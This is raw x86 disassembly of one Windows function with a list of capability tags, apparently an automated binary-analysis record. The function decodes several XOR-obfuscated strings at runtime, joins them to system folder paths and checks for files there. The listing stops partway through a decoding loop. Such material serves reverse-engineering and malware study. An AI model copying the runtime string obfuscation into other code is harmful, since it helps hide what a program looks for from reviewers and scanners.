Function at 0x42f8b0
Capabilities:
Authenticate hmac
Encode data using base64
Encode data using xor
Get common file path
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50b251
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x548
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x12c], ecx
push edi
mov bl, dl
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 3
lea eax, [ebp - 0x554]
push 0x104
push esi
push eax
call fcn.004e1ab0
add esp, 0xc
lea eax, [ebp - 0x554]
push eax
movzx eax, bl
xor eax, 1
push esi
push esi
lea eax, [eax*2 + 0x1a]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp + 0x38]
push eax
lea edx, [ebp - 0x554]
lea ecx, [ebp - 0xec]
call fcn.0046d1b0
add esp, 4
mov byte [ebp - 4], 4
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x54], esi
mov byte [ebp - 4], 5
cmp byte [ebp + 0x6c], 0
jne 0x4300ad
push esi
sub esp, 0x18
lea eax, [ebp - 0xec]
mov ecx, esp
mov dword [ebp - 0x128], esp
mov bl, 1
push eax
call fcn.00468b20
mov byte [ebp - 4], 6
mov byte [ebp - 4], 5
mov dl, bl
lea ecx, [ebp - 0x7c]
call fcn.00420110
add esp, 0x1c
mov byte [ebp - 4], 7
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x78]
mov edi, dword [ebp - 0x7c]
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x42fa2f
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x7c]
call fcn.0046ac50
mov byte [ebp - 4], 4
mov esi, dword [ebp - 0x5c]
test esi, esi
je 0x43118c
mov edi, dword [ebp - 0x58]
cmp esi, edi
je 0x42f9d1
nop
mov ecx, esi
call fcn.00402c80
add esi, 0x18
cmp esi, edi
jne 0x42f9c0
mov esi, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x54]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x42fa0b
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4311df
push ecx
push esi
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
jmp 0x43118c
xor ecx, ecx
mov dword [ebp - 0xb4], ecx
test eax, eax
je 0x43009f
xor ebx, ebx
mov dword [ebp - 0x9c], ebx
jmp 0x42fa50
mov dword [ebp - 0x70], 0xb8bcabbb
xor ecx, ecx
mov dword [ebp - 0x6c], 0xbaa3a9b9
mov word [ebp - 0x68], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x70], al
inc ecx
cmp ecx, 8
jb 0x42fa66
mov byte [ebp - 0x67], 0
xor ecx, ecx
mov dword [ebp - 0x4d], 0x8490bbbb
mov dword [ebp - 0x49], 0x96a8cc88
mov dword [ebp - 0x45], 0x819f959b
mov dword [ebp - 0x41], 0xd69b9b9a
mov dword [ebp - 0x3d], 0x8e8d9da4
mov dword [ebp - 0x39], 0x8d9a9292
mov word [ebp - 0x35], 0xa3
mov byte [ebp - 0x33], 1
mov edi, edi
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x4d], al
inc ecx
cmp ecx, 0x19
jb 0x42fab0
mov byte [ebp - 0x33], 0
add edi, ebx
mov word [ebp - 0x7f], 0x5c
mov byte [ebp - 0x7d], 0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x7f]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42fad8
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xdc]
sub eax, edx
cmp eax, ecx
jb 0x4311e4
cmp dword [ebp - 0xd8], 0xf
lea eax, [ebp - 0xec]
jbe 0x42fb0b
mov eax, dword [ebp - 0xec]
push ecx
lea ecx, [ebp - 0x7f]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x6c]
lea ecx, [ebp - 0x214]
call fcn.00470ea0
or esi, 0x40000000
lea edx, [ebp - 0x214]
push edi
lea ecx, [ebp - 0x294]
mov dword [ebp - 0x10], esi
call fcn.0046d2f0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x4d]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2ac]
call fcn.0046d100
mov byte [ebp - 4], 0xa
lea ecx, [ebp + 8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2c4]
call fcn.0046d2f0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x70]
push ecx
mov edx, eax
lea ecx, [ebp - 0x178]
call fcn.0046d100
add esp, 0x10
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x2c4]
call fcn.00402c80
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x2ac]
call fcn.00402c80
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x294]
call fcn.00402c80
and esi, 0xbfffffff
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x214]
call fcn.00402c80
mov dword [ebp - 0x66], 0xb8bcabbb
xor ecx, ecx
mov dword [ebp - 0x62], 0xbaa3a9b9
mov word [ebp - 0x5e], 0x100
lea esp, [esp]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x66], al
inc ecx
cmp ecx, 8
jb 0x42fbe0
mov byte [ebp - 0x5d], 0
xor ecx, ecx
mov dword [ebp - 0x4e], 0x8986a4bb
mov dword [ebp - 0x4a], 0xabcd808a
mov dword [ebp - 0x46], 0x9c948497
mov dword [ebp - 0x42], 0x989a9d80
mov dword [ebp - 0x3e], 0x8e9cabd7
mov dword [ebp - 0x3a], 0x9993958f
mov dword [ebp - 0x36], 0x1005c8c
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x4e], al
inc ecx
cmp ecx, 0x1a
jb 0x42fc25
mov edi, dword [ebp - 0x7c]
mov byte [ebp - 0x33], 0
add edi, ebx
mov word [ebp - 0x82], 0x5c
mov byte [ebp - 0x80], 0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x82]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42fc56
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xdc]
sub eax, edx
cmp eax, ecx
jb 0x4311e4
cmp dword [ebp - 0xd8], 0xf
lea eax, [ebp - 0xec]
jbe 0x42fc89
mov eax, dword [ebp - 0xec]
push ecx
lea ecx, [ebp - 0x82]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x6c]
lea ecx, [ebp - 0x1fc]
call fcn.00470ea0
or esi, 0x10000000
lea edx, [ebp - 0x1fc]
push edi
lea ecx, [ebp - 0x24c]
mov dword [ebp - 0x10], esi
call fcn.0046d2f0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x4e]
push ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.0046d100
mov byte [ebp - 4], 0x13
lea ecx, [ebp + 8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x27c]
call fcn.0046d2f0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x66]
push ecx
mov edx, eax
lea ecx, [ebp - 0x124]
call fcn.0046d100
add esp, 0x10
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x27c]
call fcn.00402c80
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x264]
call fcn.00402c80
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x24c]
call fcn.00402c80
and esi, 0xefffffff
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1fc]
call fcn.00402c80
mov dword [ebp - 0xd4], 0x83c7d8b8
xor ecx, ecx
mov dword [ebp - 0xd0], 0x96888885
mov dword [ebp - 0xcc], 0x9095948a
mov dword [ebp - 0xc8], 0x809098dd
mov dword [ebp - 0xc4], 0x989d9492
mov dword [ebp - 0xc0], 0xaca8bfa7
mov dword [ebp - 0xbc], 0x564f45ad
mov word [ebp - 0xb8], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xd4], al
inc ecx
cmp ecx, 0x1c
jb 0x42fd95
mov byte [ebp - 0xb7], 0
xor ecx, ecx
mov dword [ebp - 0x50], 0x8e87a1bb
mov dword [ebp - 0x4c], 0x8a88948e
mov dword [ebp - 0x48], 0x91adb2ab
mov dword [ebp - 0x44], 0x9b9a869b
mov dword [ebp - 0x40], 0x829cd592
mov dword [ebp - 0x3c], 0x8d93998f
mov dword [ebp - 0x38], 0x5d6f6f96
mov word [ebp - 0x34], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x50], al
inc ecx
cmp ecx, 0x1c
jb 0x42fde6
mov edi, dword [ebp - 0x7c]
mov byte [ebp - 0x33], 0
add edi, ebx
mov word [ebp - 0x85], 0x5c
mov byte [ebp - 0x83], 0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x85]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42fe20
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xdc]
sub eax, edx
cmp eax, ecx
jb 0x4311e4
cmp dword [ebp - 0xd8], 0xf
lea eax, [ebp - 0xec]
jbe 0x42fe53
mov eax, dword [ebp - 0xec]
push ecx
lea ecx, [ebp - 0x85]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x6c]
lea ecx, [ebp - 0x1e4]
call fcn.00470ea0
or esi, 0x20000000
lea edx, [ebp - 0x1e4]
push edi
lea ecx, [ebp - 0x160]
mov dword [ebp - 0x10], esi
call fcn.0046d2f0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x50]
push ecx
mov edx, eax
lea ecx, [ebp - 0x148]
call fcn.0046d100
mov byte [ebp - 4], 0x1c
lea ecx, [ebp + 8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x190]
call fcn.0046d2f0
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0xd4]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1c4]
call fcn.0046d100
add esp, 0x10
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x190]
call fcn.00402c80
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x148]
call fcn.00402c80
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x160]
call fcn.00402c80
and esi, 0xdfffffff
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1e4]
call fcn.00402c80
sub esp, 0x18
lea eax, [ebp - 0x178]
mov ecx, esp
mov dword [ebp - 0x1ac], esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x23
mov byte [ebp - 4], 0x22
call fcn.0040b2b0
add esp, 0x18
test al, al
jne 0x42ff9f
sub esp, 0x18
lea eax, [ebp - 0x124]
mov ecx, esp
mov dword [ebp - 0x1cc], esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x24
mov byte [ebp - 4], 0x22
call fcn.0040b2b0
add esp, 0x18
test al, al
jne 0x42ff9f
cmp byte [ebp + 0x68], al
je 0x43003e
sub esp, 0x18
lea eax, [ebp - 0x1c4]
mov ecx, esp
mov dword [ebp - 0x1c8], esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x25
mov byte [ebp - 4], 0x22
call fcn.0040b2b0
add esp, 0x18
test al, al
je 0x43003e
mov ecx, dword [ebp - 0x58]
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x5c]
xor ebx, ebx
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x130], eax
je 0x43000e
mov ecx, dword [ebp - 0x9c]
add ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x128], ecx
mov edx, dword [ecx + 0x10]
cmp dword [ecx + 0x14], 0xf
mov eax, ecx
jbe 0x42ffde
mov eax, dword [ecx]
cmp dword [edi + 0x14], 0xf
mov ecx, edi
jbe 0x42ffe8
mov ecx, dword [edi]
push edx
mov edx, dword [edi + 0x10]
push eax
call fcn.004791c0
add esp, 8
test al, al
jne 0x430038
mov ecx, dword [ebp - 0x128]
inc ebx
add edi, 0x18
mov edx, dword [ecx + 0x10]
cmp ebx, dword [ebp - 0x130]
jb 0x42ffd4
mov eax, dword [ebp - 0x7c]
mov ebx, dword [ebp - 0x9c]
add eax, ebx
mov ecx, dword [ebp - 0x58]
push eax
cmp ecx, dword [ebp - 0x54]
je 0x43002d
call fcn.00468b20
add dword [ebp - 0x58], 0x18
jmp 0x43003e
push ecx
lea ecx, [ebp - 0x5c]
call fcn.00476700
jmp 0x43003e
mov ebx, dword [ebp - 0x9c]
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1c4]
call fcn.00402c80
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x124]
call fcn.00402c80
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x178]
call fcn.00402c80
mov ecx, dword [ebp - 0x78]
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x7c]
add ebx, 0x18
inc dword [ebp - 0xb4]
sub ecx, edi
imul ecx
mov dword [ebp - 0x9c], ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0xb4], eax
jb 0x42fa50
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x7c]
call fcn.0046ac50
jmp 0x43010e
xor eax, eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], 0xf
mov byte [ebp - 0x124], al
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x124]
push eax
push dword [ebp - 0x58]
lea ecx, [ebp - 0x5c]
call fcn.00476540
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x124]
call fcn.00402c80
mov edi, dword [ebp - 0x58]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x5c]
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4301a4
xor edx, edx
xor esi, esi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], dl
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 0x54]
je 0x430185
mov eax, dword [ebp - 0x2c]
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], edx
mov dword [ecx + 0x10], esi
mov dword [ecx + 0x14], 0xf
add dword [ebp - 0x58], 0x18
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], dl
jmp 0x430192
lea eax, [ebp - 0x2c]
push eax
push ecx
lea ecx, [ebp - 0x5c]
call fcn.00476540
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2c]
call fcn.00402c80
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x5c]
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x431180
mov ebx, dword [ebp - 0x10]
xor edi, edi
cmp byte [ebp + 0x6c], 0
jne 0x43023f
lea eax, [edi + edi*2]
cmp dword [esi + eax*8 + 0x10], 0
lea edx, [esi + eax*8]
je 0x43023f
mov dword [ebp - 0x2f], 0x8490bbbb
xor ecx, ecx
mov dword [ebp - 0x2b], 0x96a8cc88
mov dword [ebp - 0x27], 0x819f959b
mov dword [ebp - 0x23], 0xd69b9b9a
mov dword [ebp - 0x1f], 0x8e8d9da4
mov dword [ebp - 0x1b], 0x8d9a9292
mov word [ebp - 0x17], 0xa3
mov byte [ebp - 0x15], 1
jmp 0x430210
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x19
jb 0x430210
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x15], 0
push eax
lea ecx, [ebp - 0x408]
call fcn.0046d070
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x28
or ebx, 1
jmp 0x43028b
xor eax, eax
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], 0xf
mov byte [ebp - 0x1a8], al
lea esi, [ebp - 0x1a8]
mov dword [ebp - 4], 0x29
or ebx, 2
mov dword [ebp - 0x10], ebx
mov word [ebp - 0x88], 0x5c
mov byte [ebp - 0x86], 0
mov dword [ebp - 4], 0x2a
lea ecx, [ebp - 0x88]
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4302b0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xdc]
sub eax, edx
cmp eax, ecx
jb 0x4311e4
cmp dword [ebp - 0xd8], 0xf
lea eax, [ebp - 0xec]
jbe 0x4302e3
mov eax, dword [ebp - 0xec]
push ecx
lea ecx, [ebp - 0x88]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x6c]
lea ecx, [ebp - 0x264]
call fcn.00470ea0
or ebx, 0x200000
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x264]
push esi
push eax
push dword [ebp + 0x6c]
lea ecx, [ebp - 0x24c]
call fcn.00470cf0
lea eax, [ebp + 8]
or ebx, 0x400000
push eax
lea edx, [ebp - 0x24c]
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x1fc]
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 0x2c
and ebx, 0xffbfffff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x24c]
call fcn.00402c80
and ebx, 0xffdfffff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x264]
call fcn.00402c80
mov byte [ebp - 4], 0x2f
test bl, 2
je 0x4303d8
and ebx, 0xfffffffd
mov dword [ebp - 0x10], ebx
mov ecx, dword [ebp - 0x194]
cmp ecx, 0xf
jbe 0x4303bd
mov edx, dword [ebp - 0x1a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4303b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4311df
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x194], 0xf
mov byte [ebp - 0x1a8], 0
mov byte [ebp - 4], 0x30
test bl, 1
je 0x4303f2
and ebx, 0xfffffffe
lea ecx, [ebp - 0x408]
mov dword [ebp - 0x10], ebx
call fcn.00402c80
cmp byte [ebp + 0x6c], 0
jne 0x43046f
mov eax, dword [ebp - 0x5c]
lea ecx, [edi + edi*2]
cmp dword [eax + ecx*8 + 0x10], 0
lea edx, [eax + ecx*8]
je 0x43046f
mov dword [ebp - 0x30], 0x8986a4bb
xor ecx, ecx
mov dword [ebp - 0x2c], 0xabcd808a
mov dword [ebp - 0x28], 0x9c948497
mov dword [ebp - 0x24], 0x989a9d80
mov dword [ebp - 0x20], 0x8e9cabd7
mov dword [ebp - 0x1c], 0x9993958f
mov dword [ebp - 0x18], 0x1005c8c
jmp 0x430440
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 0x1a
jb 0x430440
lea eax, [ebp - 0x30]
mov byte [ebp - 0x15], 0
push eax
lea ecx, [ebp - 0x420]
call fcn.0046d070
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x31
or ebx, 4
jmp 0x4304bb
xor eax, eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], al
lea esi, [ebp - 0x160]
mov dword [ebp - 4], 0x32
or ebx, 8
mov dword [ebp - 0x10], ebx
mov word [ebp - 0x8b], 0x5c
mov byte [ebp - 0x89], 0
mov dword [ebp - 4], 0x33
lea ecx, [ebp - 0x8b]
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4304e0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xdc]
sub eax, edx
cmp eax, ecx
jb 0x4311e4
cmp dword [ebp - 0xd8], 0xf
lea eax, [ebp - 0xec]
jbe 0x430513
mov eax, dword [ebp - 0xec]
push ecx
lea ecx, [ebp - 0x8b]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x6c]
lea ecx, [ebp - 0x294]
call fcn.00470ea0
or ebx, 0x100000
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x294]
push esi
push eax
push dword [ebp + 0x6c]
lea ecx, [ebp - 0x27c]
call fcn.00470cf0
lea eax, [ebp + 8]
or ebx, 0x80000
push eax
lea edx, [ebp - 0x27c]
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x214]
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 0x35
and ebx, 0xfff7ffff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x27c]
call fcn.00402c80
and ebx, 0xffefffff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x294]
call fcn.00402c80
mov byte [ebp - 4], 0x38
test bl, 8
je 0x430608
and ebx, 0xfffffff7
mov dword [ebp - 0x10], ebx
mov ecx, dword [ebp - 0x14c]
cmp ecx, 0xf
jbe 0x4305ed
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4305e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4311df
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], 0
mov byte [ebp - 4], 0x39
test bl, 4
je 0x430622
and ebx, 0xfffffffb
lea ecx, [ebp - 0x420]
mov dword [ebp - 0x10], ebx
call fcn.00402c80
mov dword [ebp - 0x2a], 0x83c7d8b8
xor ecx, ecx
mov dword [ebp - 0x26], 0x96888885
mov dword [ebp - 0x22], 0x9095948a
mov dword [ebp - 0x1e], 0x809098dd
mov dword [ebp - 0x1a], 0x989d9492
mov word [ebp - 0x16], 0x100
lea ecx, [ecx]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x2a], al
inc ecx
cmp ecx, 0x14
jb 0x430650
cmp byte [ebp + 0x6c], 0
mov byte [ebp - 0x15], 0
jne 0x430709
mov eax, dword [ebp - 0x5c]
lea ecx, [edi + edi*2]
cmp dword [eax + ecx*8 + 0x10], 0
lea edx, [eax + ecx*8]
je 0x430709
mov dword [ebp - 0x10a], 0x8e87a1bb
xor ecx, ecx
mov dword [ebp - 0x106], 0x8a88948e
mov dword [ebp - 0x102], 0x91adb2ab
mov dword [ebp - 0xfe], 0x9b9a869b
mov dword [ebp - 0xfa], 0x829cd592
mov dword [ebp - 0xf6], 0x8d93998f
mov dword [ebp - 0xf2], 0x5d6f6f96
mov word [ebp - 0xee], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x10a], al
inc ecx
cmp ecx, 0x1c
jb 0x4306d1
lea eax, [ebp - 0x10a]
mov byte [ebp - 0xed], 0
push eax
lea ecx, [ebp - 0x438]
call fcn.0046d070
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x3a
or ebx, 0x10
jmp 0x430755
xor eax, eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], al
lea esi, [ebp - 0x148]
mov dword [ebp - 4], 0x3b
or ebx, 0x20
mov dword [ebp - 0x10], ebx
mov word [ebp - 0x8e], 0x5c
mov byte [ebp - 0x8c], 0
mov dword [ebp - 4], 0x3c
lea ecx, [ebp - 0x8e]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x430778
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xdc]
sub eax, edx
cmp eax, ecx
jb 0x4311e4
cmp dword [ebp - 0xd8], 0xf
lea eax, [ebp - 0xec]
jbe 0x4307ab
mov eax, dword [ebp - 0xec]
push ecx
lea ecx, [ebp - 0x8e]
push ecx
push edx
push eax
push ecx
push dword [ebp + 0x6c]
lea ecx, [ebp - 0x2c4]
call fcn.00470ea0
or ebx, 0x10000
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x3d
lea eax, [ebp - 0x2c4]
push esi
push eax
push dword [ebp + 0x6c]
lea ecx, [ebp - 0x2ac]
call fcn.00470cf0
or ebx, 0x8000
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x3e
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0xf
jbe 0x430800
mov eax, dword [ebp + 8]
push dword [ebp + 0x18]
lea ecx, [ebp - 0x2ac]
push eax
call fcn.0046b590
mov edx, eax
or ebx, 0x4000
xor eax, eax
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x190], ecx
lea ecx, [ebp - 0x1e4]
mov eax, dword [edx + 4]
mov dword [ebp - 0x18c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x188], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x184], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x180], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x17c], eax
lea eax, [ebp - 0x2a]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
lea edx, [ebp - 0x190]
push eax
mov dword [ebp - 0x10], ebx
call fcn.0046d100
add esp, 4
mov byte [ebp - 4], 0x3f
and ebx, 0xffffbfff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x190]
call fcn.00402c80
and ebx, 0xffff7fff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x2ac]
call fcn.00402c80
and ebx, 0xfffeffff
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x2c4]
call fcn.00402c80
mov byte [ebp - 4], 0x43
test bl, 0x20
je 0x43094e
and ebx, 0xffffffdf
mov dword [ebp - 0x10], ebx
mov ecx, dword [ebp - 0x134]
cmp ecx, 0xf
jbe 0x430933
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430929
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4311df
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov byte [ebp - 4], 0x44
test bl, 0x10
je 0x430968
and ebx, 0xffffffef
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x10], ebx
call fcn.00402c80
mov dword [ebp - 0xb0], 0xb8bcabbb
xor ecx, ecx
mov dword [ebp - 0xac], 0xbaa3a9b9
mov word [ebp - 0xa8], 0x100
jmp 0x430990
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0xb0], al
inc ecx
cmp ecx, 8
jb 0x430990
sub esp, 0x18
mov byte [ebp - 0xa7], 0
lea eax, [ebp - 0xb0]
mov dword [ebp - 0x1c8], esp
mov ecx, esp
lea edx, [ebp - 0x1fc]
push eax
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 0x45
mov byte [ebp - 4], 0x44
call fcn.0040b2b0
add esp, 0x18
test al, al
je 0x430bae
mov eax, dword [ebp - 0x5c]
lea ecx, [edi + edi*2]
cmp dword [eax + ecx*8 + 0x10], 0
lea eax, [eax + ecx*8]
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x12], 1
jbe 0x430a10
push eax
lea ecx, [ebp - 0x450]
call fcn.00468b20
mov byte [ebp - 4], 0x46
or ebx, 0x40
jmp 0x430aa6
mov dword [ebp - 0x97], 0x8b8f8da3
xor ecx, ecx
mov dword [ebp - 0x93], 0x99809e
mov byte [ebp - 0x8f], 1
lea ecx, [ecx]
mov al, cl
sub al, 0x19
